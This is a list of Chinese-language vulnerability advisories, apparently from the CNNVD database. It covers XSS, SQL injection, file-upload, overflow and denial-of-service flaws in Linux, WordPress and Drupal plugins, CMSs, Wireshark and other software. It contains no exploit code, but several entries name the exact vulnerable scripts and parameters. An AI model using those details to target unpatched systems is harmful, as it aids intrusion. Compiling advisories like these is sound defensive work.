CVE:CVE-2023-4459
CNNVD:CNNVD-202308-1706
Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。
Linux Kernel存在安全漏洞，该漏洞源于vmxnet3 中的网络子组件中的drivers/net/vmxnet3/vmxnet3_drv.c 中的 vmxnet3_rq_cleanup 存在 NULL 指针取消引用缺陷。
solution:Upgrade linux linux_kernel to a higher version than 5.18,and avoid the version (,5.18); Upgrade redhat enterprise_linux to a higher version than 8.0,9.0,and avoid the version 8.0,9.0
PHP Volunteer Management是款PHP形式网页日志管理工具。PHP Volunteer Management HTML注入漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码达到攻击的目的。
PHP Volunteer Management是款PHP形式网页日志管理工具。PHP Volunteer Management存在任意文件上传漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码达到攻击的目的。
phpCollab是一个支持中文插件的项目开发管理软件。phpCollab存在任意代码执行漏洞，攻击者可利用漏洞获取对应用程序的未授权访问权限，在应用程序上下文中上传并执行任意代码。
Drupal是一款流行的内容管理系统。Drupal Post Affiliate Pro存在安全绕过漏洞。攻击者可以利用漏洞绕过安全限制，获得敏感信息并执行未经授权的行动。
Drupal是一款流行的内容管理系统。Drupal Post Affiliate Pro存在跨站脚本漏洞。攻击者可以利用漏洞在弱站点的上下文中执行任意脚本代码并窃取基于cookie的身份验证凭据。
Drupal是一款流行的内容管理系统。Drupal Aberdeen Theme存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress 2-Click-Socialmedia-Buttons存在跨站脚本漏洞。由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。
Piwik是一款PHP开源网站访问统计系统。Piwik存在多个未明跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。
PHP Volunteer Management是一个开源的Web应用程序或脚本。PHP Volunteer Management存在多个SQL注入漏洞。由于应用程序在SQL查询使用前未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中的漏洞。
AzDGDatingMedium是一个交友网站。AzDGDatingMedium存在跨站脚本漏洞，由于通过"c_temp_edit"和"f"参数传递到admin/index.php(当"do"设置为"tedit")的输入在被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意THML和脚本代码。
phplist是一个开源的newsletter管理软件，用PHP开发。PHPList存在PHP代码注入漏洞。由于PHPList 'Sajax.php'未能正确处理用户提交的数据，远程攻击者可以利用漏洞提交恶意代码，并以WEB权限执行。
LibreOffice是一套可与其他主要办公室软体相容的套件，可在各种平台上执行。LibreOffice存在拒绝服务漏洞。由于LibreOffice未能正确处理'.rtf'文件，构建特制的'.rtf'文件，诱使应用程序解析，可使应用程序崩溃。
WinRadius是基于标准RADIUS协议的拨号认证、记帐、记费商业软件。WinRadius服务器绑定UDP 1812和1813端口，由于没有正确校验密码选项大小，发送此选项超过240字符的请求可使应用程序崩溃。
DynPage是一个基于CKEditor的开源简单CMS。DynPage存在任意文件上传漏洞。由于DynPage未能正确处理用户上传的文件数据，攻击者可以利用漏洞上传恶意PHP文件并以WEB权限执行。
DornCMS是一套不需要任何数据库的CMS系统，采用flat-file作为数据存储。DornCMS存在任意文件上传漏洞。由于DornCMS 'add_page.php'未能正确处理用户上传的文件数据，攻击者可以利用漏洞无需验证上传恶意PHP文件并以WEB权限执行。
Tftpd32是一个集成DHCP，TFTP，SNTP和Syslog多种服务的袖珍网络服务器。Tftpd32 DNS服务器绑定在UDP 53端口，由于没有正确校验domain选项大小，发送超过127字符的数据请求可使应用程序崩溃。
Small-Cms是一款内容管理系统。Small-Cms不正确处理用户提交给'hostname'的数据，远程攻击者可以利用漏洞提交恶意代码，并以WEB权限执行。
Drupal是一款流行的内容管理系统。Drupal Zen Theme存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。
Concrete5是一个开源的内容管理系统。Concrete CMS存在多个输入验证漏洞，由于程序未能妥善处理用户提供的输入，攻击者利用漏洞可在受影响网站的不知情用户浏览器中执行任意脚本代码，窃取基于Cookie的身份验证凭据或导致系统拒绝服务。
Drupal是一款流行的内容管理系统。Drupal Smart Breadcrumb存在HTML注入漏洞。由于程序未能过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文中执行HTML或JavaScript代码，允许攻击者窃取基于Cookie的身份验证凭据并控制该网站是如何呈现给用户。
AZ Photo Album是一款相册程序。AZ Photo Album存在任意文件上传漏洞，由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在Web服务器上下文上传并执行任意文件。
AZ Photo Album是一款相册程序。AZ Photo Album存在跨站脚本漏洞，由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞窃取cookie信息，在浏览器中执行任意的客户端脚本代码。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress Custom Contact Forms存在跨站脚本漏洞。由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。
phAlbum是一款脚本程序。phphq.Net phAlbum 'index.php'存在跨站脚本漏洞，由于程序未能过滤用户提供的输入，攻击者可以利用漏洞在受影响网站的不知情的用户浏览器中执行任意脚本代码，窃取基于Cookie的身份验证凭据，并发动其他攻击。
Plogger是一款PHP相册程序。Plogger Photo Gallery存在SQL注入漏洞。由于应用程序在被用于SQL查询使用前未能正确过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库实现潜在的漏洞。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Profile Builder存在多个未明漏洞。目前没有详细的漏洞细节提供。
LogAnalyzer是一个syslog和其他网络事件数据的Web前端工具。LogAnalyzer存在跨站脚本漏洞。由于通过"filter"参数传递到index.php,"id"参数传递到admin/reports.php和"id"参数传递到admin/searches.php的输入，在被返回至用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
Ajaxmint是一款画廊脚本。Ajaxmint Gallery中存在本地文件包含漏洞，该漏洞源于对用户提供的输入未经充分过滤，攻击者可利用该漏洞在web服务器进程上下文中查看文件和执行本地脚本，这可能导致进一步的攻击。
RSSOwl 是一个完全用Java的SWT快速图形库开发的RSS / RDF / Atom新闻阅读器。RSSOwl存在多个HTML注入漏洞。攻击者可以利用漏洞在站点中执行任意代码，窃取基于Cookie的身份验证凭据并发动其他攻击。
ResEdit是一款Win32程序编辑器。ResEdit处理PE文件中资源名存在边界错误。攻击者可以利用漏洞通过特制文件触发BSS段缓冲区溢出。
ResEdit是一款Win32程序编辑器。ResEdit处理PE文件中资源类型存在边界错误。攻击者可以利用漏洞通过特制文件触发BSS段缓冲区溢出。
bsnes是一款任天堂模拟器。bsnes存在漏洞。由于bsnes未能正确处理'.nes'文件，攻击者可以构建恶意文件，诱使用户解析，使应用程序崩溃。
LongTail Video是一家位于纽约的在网络视频市场领先的企业，其旗舰产品是JW视频播放器。JWPlayerFLASH版本视频播放器的代码编写上存在安全问题。远程攻击者可利用此漏洞执行跨站脚本攻击。
Drupal是一款流行的内容管理系统。Drupal Search API模块存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。
Drupal是一款流行的内容管理系统。Drupal Taxonomy List模块存在跨站脚本漏洞。由于程序未能正确过滤用户提供的文本，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。
Jaow CMS是一款内容管理系统。Jaow CMS add_ons.php脚本不正确过滤用户提交给"add_ons"参数的数据，攻击者可以利用漏洞进行SQL注入攻击，可获得数据库敏感信息或控制应用系统。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL 数据库的服务器上架设自己的网志。WordPress插件Profile Builder存在安全绕过漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码达到攻击的目的。
SuperNews存在SQL注入漏洞，攻击者可以利用这个问题在受影响的机器上执行任意代码达到攻击的目的。远程攻击者成功利用此漏洞可执行任意代码，如果利用失败可能引起拒绝服务。
Vanilla Forum是一个开源的论坛系统。Vanilla Forums FirstLastNames插件存在脚本注入漏洞，由于通过"User/FirstName" 和"User/LastName" 参数传递到编辑用户页面的输入再被用于个人资料页前未能争取过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
Microsoft Windows是一款流行的操作系统。当处理键盘布局文件关联的某些参数时win32k.sys存在漏洞。可被利用破坏内存，成功利用漏洞可以以内核上下文执行任意代码。
Linux是一款开源的操作系统。Linux Kernel 'mmap()'调用大页面(huge page)可触发一个内存泄露。本地攻击者可以利用漏洞对系统进行拒绝服务攻击。
appRain是一个内容管理系统。appRain CMF存在远程任意文件上传漏洞，由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞上传任意文件到受影响的服务器，导致任意代码执行。
Citrix XenApp是一款端到端的Windows应用交付系统，可以实现客户端和服务器端的应用虚拟化。Citrix XenApp存在一个未明安全错误。允许攻击者利用漏洞进行拒绝服务攻击。
LogAnalyzer是一个syslog和其他网络事件数据的Web前端工具。LogAnalyzer存在SQL注入漏洞。由于LogAnalyzer admin/views.php脚本未能正确过滤"Columns[]"参数，允许远程攻击者进行SQL注入攻击，可获得数据库敏感信息或控制应用程序。
RuubikCMS是一个开源网站内容管理工具。RuubikCMS存在信息泄露漏洞。攻击者可以利用漏洞获得敏感信息。
RuubikCMS是一个开源网站内容管理工具。RuubikCMS存在目录遍历漏洞。攻击者可以利用漏洞通过使用特制的请求消息与目录遍历序列中的任意文件，在受影响的站点的上下文，从受影响的系统检索任意文件。
RuubikCMS是一个开源网站内容管理工具。RuubikCMS存在跨站脚本漏洞。攻击者可以利用漏洞窃取基于Cookie的身份验证凭据并在浏览器中执行任意脚本代码。
phpCollab是一个支持中文插件的项目开发管理软件。phpCollab存在信息泄露漏洞。由于程序未能充分验证用户提供的数据，攻击者可以利用漏洞下载包含敏感信息的备份文件。
FreeNAS是一套免费的NAS服务器，它能将一部普通PC变成网络存储服务器。FreeNAC存在多个跨站脚本漏洞。攻击者可以利用漏洞窃取基于Cookie的身份验证凭据。
FreeNAS是一套免费的NAS服务器，它能将一部普通PC变成网络存储服务器。FreeNAC存在HTML注入漏洞。攻击者可以利用漏洞执行恶意的HTML和脚本代码。
Wireshark是一款开放源代码的网络协议分析工具。Wireshark ANSI MAP, ASF, BACapp, Bluetooth HCI, IEEE 802.11, IEEE 802.3, LTP, 和R3解析器存在安全漏洞，可引发死循环。攻击者可以向网络注入恶意报文或诱使用户读取畸形包跟踪文件来触发。
Wireshark是一款开放源代码的网络协议分析工具。在SPARC或Itanium处理器上，Wireshark存在一个安全漏洞，会触发由于内存不对齐引发的拒绝服务攻击。攻击者可以向网络注入恶意报文或诱使用户读取畸形包跟踪文件来触发。
Wireshark是一款开放源代码的网络协议分析工具。Wireshark DIAMETER解析器不正确分配内存，可引发应用程序崩溃。攻击者可以向网络注入恶意报文或诱使用户读取畸形包跟踪文件来触发。
Tftpd32是一个集成DHCP, TFTP, SNTP和Syslog多种服务的袖珍网络服务器。Tftpd32 DHCP服务器没有校验DHCP发现报文的实际源MAC地址是否为客户端硬件地址，攻击者可以发送伪造的DHCP发现报文使整个网络中的客户端无法获取IP地址。
PHP是一种HTML内嵌式的语言。PHP wddx_serialize_value和wddx_serialize_vars函数未能正确处理Variant对象，把new Variant()作为第一个参数数据，攻击者可以利用漏洞使导致PHP实例崩溃。
PHP是一种HTML内嵌式的语言。PHP com_print_typeinfo存在一个安全漏洞，允许攻击者执行任意代码。此漏洞影响windows平台上的php版本，在windows平台上其"COM"函数作为PHP核心的一部分。攻击者需要上传恶意PHP代码到服务器，攻击者可以通过"exec"使用PHP运行SHELL命令。
Mosh是一款SSH的替代品。当处理命令时mosh-server存在一个安全漏洞。攻击者可以利用漏洞提交控制字符给服务器，导致死循环。
HAProxy是一款提供高可用性、负载均衡以及基于TCP和HTTP应用的代理软件。拷贝数据到trash缓冲区时存在边界错误，可被利用触发缓冲区溢出，要成功利用漏洞，需要global.tune.bufsize配置选项设置的值大于默认值，并且配置了header重写(通过 reqrep或rsprep配置指令)。
Joomla! 是一款开放源码的内容管理系统(CMS)。  Joomla!的JCE Comment组件中存在安全绕过漏洞和跨站脚本漏洞，这些漏洞源于对用户提供的输入未经正确过滤。攻击者可利用这些漏洞在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，这可能有助于攻击者盗取基于cookie的认证证书进而发起其他攻击。JCE 2.1.0版本中存在这些漏洞，其他版本也可能受到影响。
Acuity CMS是一款内容管理系统。Acuity CMS存在任意文件上传漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
Acuity CMS是一款内容管理系统。Acuity CMS存在目录遍历漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
Elgg是一款免费开源的社会性网络脚本程序(php/mysql)。Elgg存在多个安全绕过漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
Yandex.Server存在参数跨站脚本漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码达到攻击的目的。     远程攻击者成功利用此漏洞可执行任意代码，如果利用失败可能引起拒绝服务。
Pligg CMS是一款内容管理系统。Pligg CMS包含的admin/admin_index.php，admin/admin_users.php，module.php脚本不正确过滤用户提交的输入，远程攻击者可以利用漏洞进行SQL注入攻击，可获得数据库信息或控制应用系统。
Real-Draw PRO是一套强力的影像处理软件，它结合了向量、2D、3D以及点距阵图形编辑等等的工具。Real-Draw PRO处理图像文件存在安全漏洞，允许攻击者构建恶意文件，诱使用户解析，可使应用程序崩溃。
MediaChance DVD-Lab是一款功能强大的DVD制作工具。MediaChance DVD-Lab不正确处理'.dal'文件，攻击者可以构建恶意文件，诱使用户解析，使应用程序崩溃。
PE Explorer是可视化Delphi、C  、VB程序解析器，能快速对32位可执行程序进行反编译，并修改其中资源。当解析PE文件中资源段的字符串时存在一个错误，构建特制的资源字符串，诱使应用程序解析，可触发基于堆的缓冲区溢出。成功利用漏洞可以以应用程序上下文执行任意代码。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Leaflet存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Media Categories存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件存在跨站脚本漏洞，由于程序对用户提供的输入在用于动态生成内容之前未能正确过滤，攻击者可利用漏洞在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，窃取基于cookie的验证凭据。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件CataBlog存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。
Scalable Vector Graphics是一款图形界面开发工具。Scalable Vector Graphics (SVG)存在安全漏洞，攻击者可以利用漏洞执行任意代码。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件LeagueManager存在多个跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress 2 Click Social Media Buttons存在跨站脚本漏洞，由于传递到wp-content/plugins/2-click-socialmedia-buttons/libs/pinterest.php中"pinterest-url" 参数(当"pinterest-description"被设置)和wp-content/plugins/2-click-socialmedia-buttons/libs/xing.php中"xing-url"的输入在被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress WP Easy Gallery存在跨站脚本漏洞，由于程序未能正确过滤用户提供的输入，攻击者可利用漏洞在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，盗取基于cookie的认证证书进而发起其他攻击。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件WassUp存在脚本注入漏洞，由于通过"User-Agent" HTTP头传递的输入在被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
Tornado是FriendFeed使用的可扩展的非阻塞式web服务器及其相关工具的开源版本。在用于显示HTTP头之前"tornado.web.RequestHandler.set_header()"函数没有过滤用户提交的输入，可被利用把任意HTTP头包含在应答中发送给用户，可进行伪造，欺骗等攻击。
IBM Rational Change是一款基于Web的整合式变更控制和管理解决方案。IBM Rational Change存在一个跨站脚本错误。允许攻击者构建恶意WEB页，诱使用户解析，可获得敏感信息或劫持用户会话。
LoadKeyboardLayoutFile函数在调用ReadLayoutFile时没有对返回值进行判断，该值直接作为指针参与内存写入操作。当ReadLayoutFile函数内部调用ZwMapViewOfSection函数失败时，将返回0值。LoadKeyboardLayoutFile将会对内存地址0x34和0x38进行写操作，导致系统崩溃。
Artiphp是一款用于创建和管理网站的内容管理系统。Artiphp存在多个跨站脚本漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
Artiphp是一款用于创建和管理网站的内容管理系统。Artiphp CMS数据库备份存在信息泄露漏洞。由于其数据库备份使用的backupDB()存在一个包含在web根目录内的可预测的文件名，攻击者可利用此漏洞泄露敏感信息。
Epicor全球专业ERP解决方案提供商。Epicor Returns Management SOAP接口存在SQL注入漏洞，允许攻击者可以提交恶意SQL查询更改原来的SQL逻辑，可获得数据库信息或控制应用系统。
FishEye和Crucible是源码库浏览器和代码审查工具。FishEye和Crucible使用的第三方XML解析器存在未明错误，允许攻击者利用漏洞进行拒绝服务攻击，或可以获得服务器上文件信息。
PlaneShift提供一个虚拟游戏者在其中可以扮演寻找传闻并且变成一个英雄的农夫的虚幻世界。planeshift/src/client/chatbubbles.cpp解析chatbubbles.xml中的effectPrefix标签存在漏洞，向该标签提交超长字符串可触发缓冲区溢出，导致任意代码执行。
Atlassian是协同软件开发商。Atlassian Tempo，JIRA，Gliffy使用的第三方XML解析器存在未明错误。允许攻击者利用漏洞进行拒绝服务攻击。
libxml2是一款libxml软件包提供允许用户操控XML文件的函数库，包含有读、修改和写XML和HTML文件支持。当对某些XPointer值进行解码时"xmlXPtrEvalXPtrPart()"函数(pointer.c)存在单字节溢出错误，允许攻击者构建恶意数据，诱使应用程序解析，可触发越界写错误。
Joomla!是基于php mysql模式的快速建站系统，是开源的CMS全站系统。Joomla! JCE Component存在跨站脚本漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Download Monitor存在多个跨站脚本漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL 数据库的服务器上架设自己的网志。WordPress插件Dynamic Widgets存在跨站脚本漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件iFrame Admin Pages存在跨站脚本漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
Resource Tuner是一款windows可执行文件的资源修改工具。当解析PE文件中的资源段时存在错误，构建特制的资源项大小值，可触发基于堆的缓冲区溢出，成功利用漏洞可以以应用程序上下文执行任意代码。
PAC-Designer是一款基于Windows的功能齐全的模拟设计开发系统。当处理PAC设计文件中"<SymbolicSchematicData>"定义标签时存在边界错误，攻击者构建恶意文件，诱使用户使用应用程序解析，可触发缓冲区溢出，成功利用漏洞可以以应用程序上下文执行任意代码。
JW Player是一种基于flash的交互式网页媒体播放器。JW Player存在跨站脚本漏洞。由于传递给player.swf中"debug"参数的输入在返回用户之前缺少过滤，可被利用进行跨站脚本攻击，攻击者可以构建恶意WEB页，诱使应用程序解析，可获得敏感信息或劫持用户会话。
Lattice Diamond是一款FPGA设计软件工具套件。Lattice Diamond存在多个安全漏洞，允许攻击者使应用程序崩溃或执行任意代码。（1）当处理物理设计文件(NCD) 时EPIC设备编辑工具(libbasut.dll)存在索引错误，可被利用破坏内存。（2）当处理PCF文件时Power Calculator工具存在错误，可被利用从任意内存位置调用虚函数。
ispLEVER是Lattice公司推出的一套EDA软件。提供设计输入、HDL综合、验证、器件适配、布局布线、编程和在系统设计。当处理项目文件时".syn"，Project Navigator(projnav.exe)存在边界错误，通过超长的"DEVKIT"字符串可触发基于堆的缓冲区溢出，成功利用漏洞可以以应用程序上下文执行任意代码。
IBM AIX是一款商业执行的操作系统。当在系统上使用socketpair调用时存在错误。攻击者利用漏洞会导致调用已释放套接字而使系统崩溃。
backupDB()是一款用于备份MySQL表和数据库到文件的PHP脚本。backupDB存在跨站脚本漏洞。由于应用程序未能正确过滤用户提交给'backupDB.php'脚本的'onlyDB'参数，攻击者可以利用漏洞进行跨站脚本攻击，可获得敏感信息或劫持用户会话。
3DVIA Player是一款免费的浏览器插件，可以兼容主流的网页浏览器。使用该插件可以进行随时浏览3DVIA产品制作的三维模型、三维场景。3DVIA Player当处理"SRC"属性时WebPlayer ActiveX控件存在边界错误，攻击者可以利用漏洞触发基于堆的缓冲区溢出。
3DVIA Composer软件可以使用现有产品设计数据快速地创建动态3D技术交流资料。3DVIA Composer不安全装载库如dwmapi.dll和ibfs32.dll，攻击者可以构建恶意".smg"文件，诱使用户解析，可以应用程序上下文执行任意代码。
3D XML PLAYER是达索公司提供的免费浏览器，能够实现3D XML内容可视化。3D XML PLAYER不安全装载dwmapi.dll和JT0DevPhase.dll库，攻击者可以构建恶意".3dx"文件，诱使用户解析，可以应用程序上下文执行任意代码。
Liferay Portal是一个完整的门户解决方案，基于J2EE的应用，使用了EJB以及JMS等技术。  Liferay Portal中存在多个安全漏洞：包括1.多个跨站脚本漏洞 2.一个信息泄露漏洞 3.一个安全绕过漏洞 4.一个跨站请求伪造漏洞。攻击者可利用这些漏洞在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，盗取基于cookie的认证证书，泄露或修改敏感信息，在用户会话上下文中执行未授权操作或者执行未授权操作，也可能执行其他的攻击。Liferay Portal 6.1 ce版本和6.1 ee版本中存在这些漏洞，其他版本也可能受到影响。
eZ Publish是一个专业的开源内容管理系统(CMS)和一个开发框架(CMF)。  eZ Publish中存在跨站脚本漏洞，该漏洞源于对用户提供的传送至&ldquo;ezoption&rdquo;数据类型的输入未经过滤。攻击者可利用该漏洞在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，盗取基于cookie的认证证书进而发起其他攻击。eZ Publish 4.0版本至4.6版本中存在该漏洞。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的Soundcloud Is Gold插件中存在跨站脚本漏洞，该漏洞源于对用户提供的输入未经正确过滤。攻击者可利用这些漏洞在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，盗取基于cookie的认证证书进而发起其他攻击。Soundcloud Is Gold 2.1版本中存在该漏洞，其他版本也可能受到影响。
eZ Publish 是一个专业的开源内容管理系统(CMS)和一个开发框架(CMF)。  eZ Publish的&ldquo;ezstarrating&rdquo;扩展中存在跨站脚本漏洞，该漏洞源于对用户提供的输入未经正确过滤。攻击者可利用该漏洞在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，盗取基于cookie的认证证书进而发起其他攻击。ezstarrating 1.0、1.1、1.2和1.3版本中存在该漏洞。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的WP Forum Server插件中存在一个SQL注入漏洞和多个跨站脚本漏洞，这些漏洞源于对用户提供的输入未经正确过滤。攻击者可利用这些漏洞盗取基于cookie的认证证书，操控应用程序，访问或修改数据，或在底层数据库中利用这些漏洞。WP Forum Server 1.7.3版本中存在这些漏洞，其他版本也可能受到影响。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的2 Click Social Media Buttons插件中存在多个跨站脚本漏洞，这些漏洞源于对用户提供的输入未经正确过滤。攻击者可利用这些漏洞在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，盗取基于cookie的认证证书进而发起其他攻击。2 Click Social Media Buttons 0.32.2版本中存在这些漏洞，其他版本也可能受到影响。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的PDF & Print Button Joliprint插件中存在多个跨站脚本漏洞，这些漏洞源于对用户提供的输入未经正确过滤。攻击者可利用这些漏洞在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，盗取基于cookie的认证证书进而发起其他攻击。PDF & Print Button Joliprint 1.3.0版本中存在这些漏洞，其他版本也可能受到影响。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的Network Publisher插件中存在跨站脚本漏洞，该漏洞源于对用户提供的输入未经正确过滤。攻击者可利用该漏洞在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，盗取基于cookie的认证证书进而发起其他攻击。Network Publisher 5.0.1版本中存在该漏洞，其他版本也可能受到影响。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的GRAND Flash Album Gallery插件中存在跨站脚本漏洞，该漏洞源于对用户提供的输入未经正确过滤。攻击者可利用该漏洞在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，盗取基于cookie的认证证书进而发起其他攻击。GRAND Flash Album Gallery 1.71版本中存在该漏洞，其他版本也可能受到影响。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件SABRE存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的身份验证凭据并发起其他攻击。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件PDF和Print Button Joliprint存在跨站脚本漏洞，由于传递到wp-admin/options-general.php中"opt"参数的输入(当"page"设置为"joliprint/joliprint_admin_options.php") 在被返回用户前未能正确过滤，攻击者利用漏洞可以在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Sharebar存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞窃取基于Cookie的身份验证凭据。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Sharebar存在SQL注入漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中的潜在漏洞。
Viscacha CMS是一款内容管理系统。Viscacha存在HTML注入漏洞。由于程序未能正确过滤用户提交的数据，远程攻击者可以利用漏洞在受影响的网站中执行HTML和脚本代码，窃取基于Cookie的身份验证凭据并控制的网站是如何呈现给用户。
WonderWare是一款工业控制与自动化软件。Wonderware Archestra SuiteLink调用_Grow()函数时slssvc服务未能正确进行边界检查，攻击者向服务发送包含超长字符串参数的TCP报文，可导致应用程序崩溃。
Viscacha CMS是一款内容管理系统。Viscacha CMS存在漏洞。由于Viscacha CMS脚本未能正确过滤用户提交的输入，远程攻击者可以利用漏洞进行SQL注入攻击，可获得数据库信息或控制应用系统。
Pro-Server EX是一款以太网数据采集软件。Pro-Server EX存在多个安全漏洞，包括"Find Node"非法内存访问，memset整数溢出，未处理异常，非法内存读访问和泄露，限制性的内存破坏。这些问题可导致拒绝服务或任意代码执行攻击。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Network Publisher存在跨站脚本漏洞，由于传递到wp-admin/plugins.php 中"networkpub_key" POST参数的输入(当"page"设置为"networkpub")在返回用户前未能正确过滤，攻击者利用漏洞可以在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件GRAND Flash Album Gallery存在跨站脚本漏洞，由于通过"skin"参数传递到wp-admin/admin.php (当"page"设置为"flag-skin")的输入在被返回用户前未能正确过滤，攻击者利用漏洞可以在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
NETGEAR WNDRMAC Wireless Router是一款无线路由器。查看NETGEAR WNDRMAC Wireless Router页面源代码可获得敏感信息；如果之前成功完成了密码恢复操作，允许攻击者登录设备。
NEC Express 5800/1000是运行Linux、支持NUMA功能的服务器。NEC Express 5800/1000计算存在隐藏的特权用户，可被攻击者利用未授权访问设备。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress Subscribe2存在跨站脚本漏洞，由于通过"searchterm"参数传递到wp-content/plugins/subscribe2/admin/subscribers.php(当"page"设置为"s2_posts")的输入在wp-content/plugins/subscribe2/admin/send_email.php中被返回用户前未能正确过滤，攻击者利用漏洞可在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
